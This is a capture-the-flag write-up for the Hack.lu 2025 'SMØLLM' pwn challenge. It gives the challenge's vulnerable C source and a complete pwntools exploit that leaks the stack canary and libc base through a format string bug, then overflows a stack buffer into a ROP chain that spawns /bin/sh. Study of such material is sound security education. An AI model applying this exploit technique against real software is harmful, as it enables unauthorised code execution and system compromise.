SMØLLM - Hack.lu 2025
Table of Contents
SMØLLM
The challenge .zip contains:

A bunch of C files, Docker configuration, and a network daemon. ynetd wraps the binary for remote access and is not part of the exploit surface.
The files that matter are smollm (the target binary), smollm.c (source - a rare gift in pwn challenges), the bundled libc.so.6, and ld-linux-x86-64.so.2 matching the remote environment.
Time to read the code.
smollm.c Analysis
The full source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#define TOKEN_SIZE 8
char tokens[256][TOKEN_SIZE] = { 0 };
int n_tokens = 0;
const char *init_tokens[] = {
"a",
"about",
"all",
"also",
"and",
"as",
"at",
"be",
"because",
"but",
"by",
"can",
"come",
"could",
"computer",
"ctf",
"day",
"do",
"even",
"find",
"first",
"flux",
"for",
"from",
"get",
"give",
"go",
"hacklu",
"have",
"he",
"her",
"here",
"him",
"his",
"how",
"I",
"if",
"in",
"into",
"it",
"its",
"just",
"know",
"like",
"look",
"make",
"man",
"many",
"me",
"more",
"mvm",
"my",
"new",
"no",
"not",
"now",
"of",
"on",
"one",
"only",
"or",
"other",
"our",
"out",
"people",
"plfanzen",
"say",
"see",
"she",
"so",
"some",
"take",
"tell",
"than",
"that",
"the",
"their",
"them",
"then",
"there",
"these",
"they",
"thing",
"think",
"this",
"those",
"time",
"to",
"two",
"up",
"use",
"very",
"want",
"way",
"we",
"well",
"what",
"when",
"which",
"who",
"will",
"with",
"would",
"year",
"you",
"your",
};
void add_token(const char* token, int len) {
if (n_tokens == 256) {
printf("Max number of tokens reached!\n");
return;
}
memcpy(tokens[n_tokens], token, len);
memset(tokens[n_tokens++] + len, ' ', TOKEN_SIZE - len);
}
void run_prompt() {
int n;
static unsigned int combinator = 0;
char in_buf[256], out_buf[256];
bzero(in_buf, sizeof(in_buf));
bzero(out_buf, sizeof(in_buf));
printf("How can I help you?\n>");
n = read(STDIN_FILENO, in_buf, sizeof(in_buf));
if (n <= 0) {
printf("Read error\n");
exit(-1);
}
for (int i = 0; i < n; i++) {
memcpy(&out_buf[i*TOKEN_SIZE], tokens[(in_buf[i] + combinator++) % n_tokens], TOKEN_SIZE);
}
printf(out_buf);
printf("\n");
}
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (int i = 0; i < sizeof(init_tokens) / sizeof(*init_tokens); i++) {
add_token(init_tokens[i], strlen(init_tokens[i]));
}
}
int main(int argc, char *argv[]) {
int n;
char buf[9];
init();
printf("Hello, and welcome to smøllm. Your friendly AI assistant.\nYou can add you own custom tokens or run a prompt.\n");
while (1) {
printf("Do you want to\n1) Add a custom token\n2) Run a prompt\n>");
if (read(STDIN_FILENO, buf, sizeof(buf)) <= 0) {
printf("Read error\n");
exit(-1);
}
if (buf[0] == '1') {
memset(buf, 0, sizeof(buf));
printf("token?>");
n = read(STDIN_FILENO, buf, TOKEN_SIZE);
if (n <= 0) {
printf("Read error\n");
exit(-1);
}
add_token(buf, n);
} else if (buf[0] == '2') {
run_prompt();
} else {
printf("Invalid choice\n");
}
}
}
The program maintains a fixed array of 106 built-in string tokens, each padded to 8 bytes. It works like a CLI text generator - when you run a prompt, each character of your input is used as an index into the token array (offset by a running counter) and the corresponding token is copied into the output buffer. The result is a sentence made of words from the token list. If you choose option 1, your input is appended to the token array at index 106 and onwards, extending the list with custom words.
Looking at run_prompt, two issues in the code stand out:
run_prompthas a Format String Vulnerability becauseprintf(out_buf)passes attacker-influenced data directly as the format string - any token containing%pbecomes a format specifier that dereferences the stack.run_prompthas a Buffer Overflow becauseout_bufis 256 bytes, but the loop writesn * TOKEN_SIZE = n * 8bytes - sending more than 32 characters overflows the buffer.
printf and what can go wrong
In C, printf expects its first argument to be a format string - static text with optional format specifiers like %d or %s that get substituted with the following arguments:
printf("Hello %s, you are %d years old", name, age);
The vulnerability appears when attacker-controlled data is passed as that first argument. With a crafted input, an attacker can abuse printf’s format string capabilities to read arbitrary data from the stack - leaking addresses, canaries, and pointers. In the most powerful case, %n can also write to arbitrary addresses, achieving code execution.
Let’s check the binary to see its protections:
$ checksec --file=smollm
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Every major mitigation is present.
- Full RELRO - GOT is read-only, no GOT overwrites
- Stack Canary - stack smashing will be detected unless we leak the canary first
- NX - no shellcode on the stack, we need ROP
- PIE - binary base is randomised, we need a leak to find gadgets
SHSTK (shadow stack) and IBT (indirect branch tracking) are also listed. We’ll revisit these when we get to exploitation.
In older or less-protected binaries, attackers could overwrite a GOT entry - for example replacing the address of
printfwith the address ofsystem- so the next time the program callsprintf, it actually callssysteminstead. Full RELRO prevents this by making the GOT read-only after the dynamic linker has finished resolving all symbols at startup.
With the source read and the mitigations mapped, it’s time to move to the next phase.
Exploitation
Since we know about the Format String Vulnerability, we start by attempting to leak some addresses from the stack - specifically the canary and a libc pointer, which are the two values we need to bypass the remaining mitigations.
Let’s set up the script first. We define two helper functions to interact with the binary’s menu, and consume the welcome banner so we’re ready to send commands:
from pwn import *
context.log_level = 'debug'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
p.recvuntil(b"prompt.\n")

The script connects, receives the welcome banner, and exits cleanly. The recvuntil(b"prompt.\n") lands exactly where we need it.
Attempting positional format specifiers
Since we have a Format String Vulnerability, the first instinct is to try %N$x positional specifiers. If they work, it opens the door to %N$n for arbitrary writes - potentially giving us code execution through the format string alone without needing the buffer overflow.“
from pwn import *
context.log_level = 'debug'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
p.recvuntil(b"prompt.\n")
add_custom_token(b"%4$x")
n_tokens = 107
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
run_prompt(payload)
p.recvuntil(b">")
data = p.recvuntil(b"\n")
print(data)
p.close()

printf detects positional specifiers and aborts with
*** invalid %N$ use detected ***
qemu: uncaught target signal 6 (Aborted) - core dumped
Both targeted reads and arbitrary writes are off the table.
Why %N$ positional arguments are blocked
printfdetects positional argument specifiers (%1$p,%42$x) and aborts with*** invalid %N$ use detected ***if they appear alongside non-positional ones. This prevents the classic format string bug write primitive (%N$hn). The leak is still possible using sequential%pspecifiers - they read stack values in order, one per%p, advancing the internal argument pointer each time.
Leaking the stack with %p
We add %p%p%p%p as a custom token at index 106. %p is a printf format specifier that prints a pointer-sized value from the stack in hex. By making it a token, any input byte that maps to index 106 will place %p%p%p%p into out_buf.
We then craft 32 bytes where each byte is computed so that (byte + combinator) % n_tokens == 106 - meaning every single input character maps to our %p%p%p%p token. The result is out_buf filled with 256 bytes of %p%p%p%p, and printf walks the stack printing 128 consecutive 8-byte values.
from pwn import *
context.log_level = 'debug'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
p.recvuntil(b"prompt.\n")
add_custom_token(b"%p" * 4)
n_tokens = 107
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
run_prompt(payload)
p.recvuntil(b">")
data = p.recvuntil(b"\n")
print(data)
p.close()

This time no abort - the binary prints a wall of hex values:
b'0x1f0x200x1f0x55555555b3c00x636465666768696a0x5b5c5d5e5f6061620x535455565758595a0x4b4c4d4e4f505152(nil)(nil)(nil)...
Parsing the leak
Now we parse the output to find the canary and the libc pointer. The canary always ends in \x00 - a deliberate design so null-terminated string functions cannot leak it. Seeing it appear at three distinct stack offsets is the confirmation. The libc pointer is __libc_start_call_main+122, sitting at offset 0x2a1ca from the libc base.
from pwn import *
context.log_level = 'info'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
libc = ELF("./libc.so.6", checksec=False)
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
def parse_leaks(raw):
text = raw.decode(errors='replace').replace("(nil)", "0x0")
vals = []
for part in text.split("0x")[1:]:
hex_part = ""
for c in part:
if c in "0123456789abcdefABCDEF":
hex_part += c
else:
break
vals.append(int(hex_part, 16) if hex_part else 0)
return vals
p.recvuntil(b"prompt.\n")
add_custom_token(b"%p%p%p%p")
n_tokens = 107
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
run_prompt(payload)
p.recvuntil(b">\n", timeout=3)
raw = p.recvuntil(b"Do you want", timeout=5)
raw = raw.split(b"Do you want")[0]
vals = parse_leaks(raw)
canary = vals[69]
libc_base = vals[81] - 0x2a1ca
assert libc_base & 0xfff == 0, f"libc base misaligned: {hex(libc_base)}"
assert canary & 0xff == 0, f"canary doesn't end in 00: {hex(canary)}"
log.success(f"Canary: 0x{canary:x}")
log.success(f"Libc base: 0x{libc_base:x}")
p.close()

Canary extracted - ends in 00 as expected. Libc base at 0xffffb3000000.
We now have everything we need to move to the ROP phase.
GDB Verification
We verify both leaked values against the live stack using gdb-multiarch and QEMU’s built-in GDB stub.
The binary is launched with the GDB stub in Terminal 1:

In Terminal 2, gdb-multiarch connects to the stub, sets the breakpoint at printf(out_buf), and continues:

In Terminal 1 we replicate what the script does manually - add %p%p%p%p as a custom token, then send the 32-byte payload that maps every input character to that token.
jihgfedcba\`_^][ZYXWVUTSRQPONMLK
is those 32 bytes in ASCII, counting down from character 106 so that each one resolves to token index 106 after the combinator offset is applied.

After sending the leak payload, GDB pauses at the printf(out_buf) call. The stack is examined:

From the source code both buffers are declared in order - in_buf[256] then out_buf[256]. The dump confirms this:
0xffff9bbfeb60: 0x636465666768696a ← in_buf start ("jihgfedc" - our input)
...
0xffff9bbfeb80: 0x000000000000000a ← newline, rest of in_buf zeroed
...
0xffff9bbfec60: 0x7025702570257025 ← out_buf start (%p%p%p%p in hex)
We need to scroll further past out_buf to find the canary and libc pointer:

[screenshot: GDB output showing canary and libc pointer]
Cross-referencing with info proc map confirms the libc pointer falls inside the libc text segment.

0x0000ffff9b000000 0x0000ffff9b028000 r--p libc.so.6 ← libc base 0x0000ffff9b028000 0x0000ffff9b1b0000 r-xp libc.so.6 ← text segment (our leak is here)
Subtracting the offset:
libc_base = 0xffff9b02a1ca - 0x2a1ca = 0xffff9b000000
Both values match what 4th.py extracted. Time to build the ROP chain.
Double libc base - a silent bug to avoid
A common mistake is calling
libc.address = libc_baseand then computinglibc_base + libc.sym['system']. pwntools’ELF.sym[]already addslibc.addresswhen the address is set, so the base gets added twice. The resulting address is garbage,system()never executes, and there is no error message. Always choose one approach: either setlibc.addressand uselibc.sym['system']directly, or leavelibc.addressunset and computelibc_base + libc.sym['system']manually.
Adding ROP Tokens
Four tokens are added immediately after the leak, at indices 107-110:
add_custom_token(p64(canary)) # 107
add_custom_token(p64(addr_pop_rdi)) # 108 - pop rdi; pop rbp; ret @ libc+0x2a873 add_custom_token(p64(addr_bin_sh)) # 109 - "/bin/sh\0" in libc add_custom_token(p64(addr_system)) # 110 - system()
n_tokens = 111
All four addresses are computed without setting libc.address:
addr_system = libc_base + libc.sym['system'] addr_bin_sh = libc_base + next(libc.search(b"/bin/sh\x00")) addr_pop_rdi = libc_base + 0x2a873
Junk Token Count - 33 Not 32
out_buf is 256 bytes. Intuition says 32 tokens × 8 bytes fills it, putting the canary at the boundary. GDB shows otherwise:
0xffff9b5fec70: 0x7025702570257025 ... ← out_buf[0] (first token)
...
0xffff9b5fed70: 0x20202020776f6e6b ... ← out_buf[256] ("know " padding) 0xffff9b5fed78: 0x4dea5b1d42cca900 ... ← CANARY at out_buf+264 0xffff9b5fed80: 0x0000ffff9b5fed9f ... ← saved RBP 0xffff9b5fed88: 0x0000555555558474 ... ← return address
The canary sits at out_buf+264, not out_buf+256. The extra 8 bytes (0x20202020776f6e6b - "know ") is token 105 (“know” padded with spaces), a leftover from a previous token lookup that lands there due to the specific combinator state at the time of the overflow call. The canary therefore requires 33 junk tokens to reach, not 32.
Confirming the offset with GDB
out_buf starts at 0xffff9b5fec70. The canary is at 0xffff9b5fed78. Difference: 0xffff9b5fed78 - 0xffff9b5fec70 = 0x108 = 264. 264 / 8 = 33 tokens of junk before the canary slot. This number must be verified empirically - do not trust writeup code for a different binary build.
Stack Alignment Fix
system() uses SSE instructions that require RSP % 16 == 0 at call time. After a ret the stack is typically misaligned by 8 bytes. The standard fix is a lone ret gadget before pop rdi; ret. A different approach is used here: pop rdi; pop rbp; ret at libc offset 0x2a873. The extra pop rbp consumes one additional 8-byte slot from the stack, aligning it to 16 bytes without needing a separate ret.
The trade-off is that two /bin/sh tokens must be placed in the payload - one that lands in rdi (the system() argument) and one that gets consumed by pop rbp (its value is irrelevant).
Constructing the Overflow Payload
def tok(wanted_idx):
global combinator
b = (wanted_idx - combinator) % n_tokens
combinator += 1
return bytes([b])
payload2 = b""
for _ in range(33): # fills out_buf[0..263] — reaches canary boundary
payload2 += tok(0)
payload2 += tok(107) # out_buf[264..271] = canary (must match exactly)
payload2 += tok(0) # out_buf[272..279] = saved RBP (don't care)
payload2 += tok(108) # out_buf[280..287] = pop rdi; pop rbp; ret
payload2 += tok(109) # out_buf[288..295] = /bin/sh → rdi
payload2 += tok(109) # out_buf[296..303] = /bin/sh → rbp (alignment slot)
payload2 += tok(110) # out_buf[304..311] = system()
Total: 39 bytes of input → 312 bytes written to the stack.
The combinator tracking matters here because the four add_custom_token calls between Phase 1 and Phase 2 do not call run_prompt(), so they do not advance combinator. The value going into Phase 2 is exactly 32 (from the 32-byte FSB payload). Every tok() call must account for this or the token index arithmetic produces wrong indices and the ROP addresses land corrupted on the stack.
Getting a Shell

The shell confirms the full chain worked: canary bypassed (no SIGABRT), ROP executed, system("/bin/sh") called. Running locally the process inherits the user context, so id returns kali.
SHSTK and IBT turned out to be non-issues - not enforced under QEMU user-mode emulation on ARM.
Full Exploit
from pwn import *
context.log_level = 'info'
p = process(["qemu-x86_64", "-L", ".", "./smollm"])
libc = ELF("./libc.so.6", checksec=False)
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendafter(b">", prompt)
def parse_leaks(raw):
text = raw.decode(errors='replace').replace("(nil)", "0x0")
vals = []
for part in text.split("0x")[1:]:
hex_part = ""
for c in part:
if c in "0123456789abcdefABCDEF":
hex_part += c
else:
break
vals.append(int(hex_part, 16) if hex_part else 0)
return vals
p.recvuntil(b"prompt.\n")
add_custom_token(b"%p%p%p%p")
n_tokens = 107
combinator = 0
payload = b""
for i in range(32):
payload += bytes([(106 - i) % n_tokens])
combinator += 1
run_prompt(payload)
p.recvuntil(b">\n", timeout=3)
raw = p.recvuntil(b"Do you want", timeout=5)
raw = raw.split(b"Do you want")[0]
vals = parse_leaks(raw)
canary = vals[69]
libc_base = vals[81] - 0x2a1ca
assert libc_base & 0xfff == 0, f"libc base misaligned: {hex(libc_base)}"
assert canary & 0xff == 0, f"canary doesn't end in 00: {hex(canary)}"
addr_system = libc_base + libc.sym['system']
addr_bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
addr_pop_rdi = libc_base + 0x2a873
log.success(f"Canary: 0x{canary:x}")
log.success(f"Libc base: 0x{libc_base:x}")
log.success(f"system: 0x{addr_system:x}")
log.success(f"/bin/sh: 0x{addr_bin_sh:x}")
log.success(f"pop rdi;rbp: 0x{addr_pop_rdi:x}")
add_custom_token(p64(canary))
add_custom_token(p64(addr_pop_rdi))
add_custom_token(p64(addr_bin_sh))
add_custom_token(p64(addr_system))
n_tokens = 111
def tok(wanted_idx):
global combinator
b = (wanted_idx - combinator) % n_tokens
combinator += 1
return bytes([b])
payload2 = b""
for _ in range(33):
payload2 += tok(0)
payload2 += tok(107)
payload2 += tok(0)
payload2 += tok(108)
payload2 += tok(109)
payload2 += tok(109)
payload2 += tok(110)
log.info(f"ROP payload: {len(payload2)} bytes")
run_prompt(payload2)
p.interactive()